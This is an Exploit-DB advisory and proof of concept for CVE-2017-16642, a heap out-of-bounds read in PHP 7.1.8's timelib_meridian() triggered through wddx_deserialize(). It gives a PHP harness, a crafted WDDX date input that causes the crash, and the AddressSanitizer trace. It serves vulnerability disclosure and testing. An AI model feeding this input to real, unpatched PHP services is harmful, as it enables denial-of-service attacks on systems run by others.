PHP 7.1.8 - Heap-Based Buffer Overflow

EDB-ID: 43133
Author: Wei Lei and Liu Yang
Published: 2017-11-09
CVE: CVE-2017-16642
Type: Dos
Platform: Multiple
Aliases: N/A
Advisory/Source: Link
Tags: N/A
Vulnerable App: N/A

 ------------ 
A heap out-of-bound read vulnerability in timelib_meridian() can be triggered via wddx_deserialize() or other vectors that call into this function on untrusted inputs.

$ ~/php-7.1.8/sapi/cli/php --version
PHP 7.1.8 (cli) (built: Aug 9 2017 21:42:13) ( NTS )
Copyright (c) 1997-2017 The PHP Group
Zend Engine v3.1.0, Copyright (c) 1998-2017 Zend Technologies

Configuration:
CC="`which gcc`" CFLAGS="-O0 -g -fsanitize=address" ./configure --disable-shared --enable-wddx

Credit:
Wei Lei and Liu Yang of Nanyang Technological University

Test script:
---------------
$ cat wddx.php
*/
<?php
$argc = $_SERVER['argc'];
$argv = $_SERVER['argv'];

$dir_str = dirname(__FILE__);

$file_str = ($dir_str)."/".$argv[1];

if (!extension_loaded('wddx')) print "wddx not loaded.\n";

$wddx_str = file_get_contents($file_str);
print strlen($wddx_str) . " bytes read.\n";

var_dump(wddx_deserialize($wddx_str));
?>

/*
$ cat repro2.wddx
<?xml version='1.0'?>
<!DOCTYPE wddxPacket SYSTEM 'wddx_0100.dtd'>
<wddxPacket version='1.0'>
<header/>
<data>
<struct>
<var name='aDateTime'>
<dateTime>frONt of 0 0</dateTime>
</var>
</struct>
</data>
</wddxPacket>

/*
Expected result:
----------------
NO CRASH

Actual result:
--------------
$ ~/php-7.1.8/sapi/cli/php wddx.php repro2.wddx
309 bytes read.
=================================================================
==13788== ERROR: AddressSanitizer: heap-buffer-overflow on address 0xb57057fc at pc 0x809b622 bp 0xbf9d09d8 sp 0xbf9d09cc
READ of size 1 at 0xb57057fc thread T0
#0 0x809b621 in timelib_meridian /home/weilei/php-7.1.8/ext/date/lib/parse_date.c:410
#1 0x80e0293 in scan /home/weilei/php-7.1.8/ext/date/lib/parse_date.c:18228
#2 0x80f0710 in timelib_strtotime /home/weilei/php-7.1.8/ext/date/lib/parse_date.c:23194
#3 0x806afed in php_parse_date /home/weilei/php-7.1.8/ext/date/php_date.c:1455
#4 0x8a2c588 in php_wddx_process_data /home/weilei/php-7.1.8/ext/wddx/wddx.c:1071
#5 0x8a40f7b in _cdata_handler /home/weilei/php-7.1.8/ext/xml/compat.c:265
#6 0xb5cc06b5 in xmlParseCharData__internal_alias /home/weilei/libxml2/parser.c:4597
#7 0xb5d129be in xmlParseTryOrFinish /home/weilei/libxml2/parser.c:11715
#8 0xb5d1a462 in xmlParseChunk__internal_alias /home/weilei/libxml2/parser.c:12454
#9 0x8a42de6 in php_XML_Parse /home/weilei/php-7.1.8/ext/xml/compat.c:600
#10 0x8a2c974 in php_wddx_deserialize_ex /home/weilei/php-7.1.8/ext/wddx/wddx.c:1105
#11 0x8a2f394 in zif_wddx_deserialize /home/weilei/php-7.1.8/ext/wddx/wddx.c:1323
#12 0x8ddcd0b in ZEND_DO_ICALL_SPEC_RETVAL_USED_HANDLER /home/weilei/php-7.1.8/Zend/zend_vm_execute.h:675
#13 0x8dd70df in execute_ex /home/weilei/php-7.1.8/Zend/zend_vm_execute.h:429
#14 0x8dd8845 in zend_execute /home/weilei/php-7.1.8/Zend/zend_vm_execute.h:474
#15 0x8c32247 in zend_execute_scripts /home/weilei/php-7.1.8/Zend/zend.c:1476
#16 0x8a5fbc5 in php_execute_script /home/weilei/php-7.1.8/main/main.c:2537
#17 0x90f5a70 in do_cli /home/weilei/php-7.1.8/sapi/cli/php_cli.c:993
#18 0x90f834b in main /home/weilei/php-7.1.8/sapi/cli/php_cli.c:1381
#19 0xb5ab9a82 (/lib/i386-linux-gnu/libc.so.6+0x19a82)
#20 0x8065230 in _start (/home/weilei/php-7.1.8/sapi/cli/php+0x8065230)
0xb57057fc is located 0 bytes to the right of 12-byte region [0xb57057f0,0xb57057fc)
allocated by thread T0 here:
#0 0xb6168854 (/usr/lib/i386-linux-gnu/libasan.so.0+0x16854)
#1 0x8b73387 in __zend_malloc /home/weilei/php-7.1.8/Zend/zend_alloc.c:2820
#2 0x8b704a6 in _emalloc /home/weilei/php-7.1.8/Zend/zend_alloc.c:2413
#3 0x8b710f1 in _safe_emalloc /home/weilei/php-7.1.8/Zend/zend_alloc.c:2472
#4 0x8b7164c in _ecalloc /home/weilei/php-7.1.8/Zend/zend_alloc.c:2495
#5 0x809bd8a in timelib_string /home/weilei/php-7.1.8/ext/date/lib/parse_date.c:460
#6 0x80dfcbb in scan /home/weilei/php-7.1.8/ext/date/lib/parse_date.c:18215
#7 0x80f0710 in timelib_strtotime /home/weilei/php-7.1.8/ext/date/lib/parse_date.c:23194
#8 0x806afed in php_parse_date /home/weilei/php-7.1.8/ext/date/php_date.c:1455
#9 0x8a2c588 in php_wddx_process_data /home/weilei/php-7.1.8/ext/wddx/wddx.c:1071
#10 0x8a40f7b in _cdata_handler /home/weilei/php-7.1.8/ext/xml/compat.c:265
#11 0xb5cc06b5 in xmlParseCharData__internal_alias /home/weilei/libxml2/parser.c:4597
#12 0xb5d129be in xmlParseTryOrFinish /home/weilei/libxml2/parser.c:11715
#13 0xb5d1a462 in xmlParseChunk__internal_alias /home/weilei/libxml2/parser.c:12454
#14 0x8a42de6 in php_XML_Parse /home/weilei/php-7.1.8/ext/xml/compat.c:600
#15 0x8a2c974 in php_wddx_deserialize_ex /home/weilei/php-7.1.8/ext/wddx/wddx.c:1105
#16 0x8a2f394 in zif_wddx_deserialize /home/weilei/php-7.1.8/ext/wddx/wddx.c:1323
#17 0x8ddcd0b in ZEND_DO_ICALL_SPEC_RETVAL_USED_HANDLER /home/weilei/php-7.1.8/Zend/zend_vm_execute.h:675
#18 0x8dd70df in execute_ex /home/weilei/php-7.1.8/Zend/zend_vm_execute.h:429
#19 0x8dd8845 in zend_execute /home/weilei/php-7.1.8/Zend/zend_vm_execute.h:474
#20 0x8c32247 in zend_execute_scripts /home/weilei/php-7.1.8/Zend/zend.c:1476
#21 0x8a5fbc5 in php_execute_script /home/weilei/php-7.1.8/main/main.c:2537
#22 0x90f5a70 in do_cli /home/weilei/php-7.1.8/sapi/cli/php_cli.c:993
#23 0x90f834b in main /home/weilei/php-7.1.8/sapi/cli/php_cli.c:1381
#24 0xb5ab9a82 (/lib/i386-linux-gnu/libc.so.6+0x19a82)
SUMMARY: AddressSanitizer: heap-buffer-overflow /home/weilei/php-7.1.8/ext/date/lib/parse_date.c:410 timelib_meridian
Shadow bytes around the buggy address:
0x36ae0aa0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x36ae0ab0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x36ae0ac0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x36ae0ad0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x36ae0ae0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x36ae0af0: fa fa fa fa fa fa fa fa fa fa fd fa fa fa 00[04]
0x36ae0b00:fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x36ae0b10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x36ae0b20: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x36ae0b30: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x36ae0b40: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Heap righ redzone: fb
Freed Heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack partial redzone: f4
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
ASan internal: fe
==13788== ABORTING
Aborted
*/

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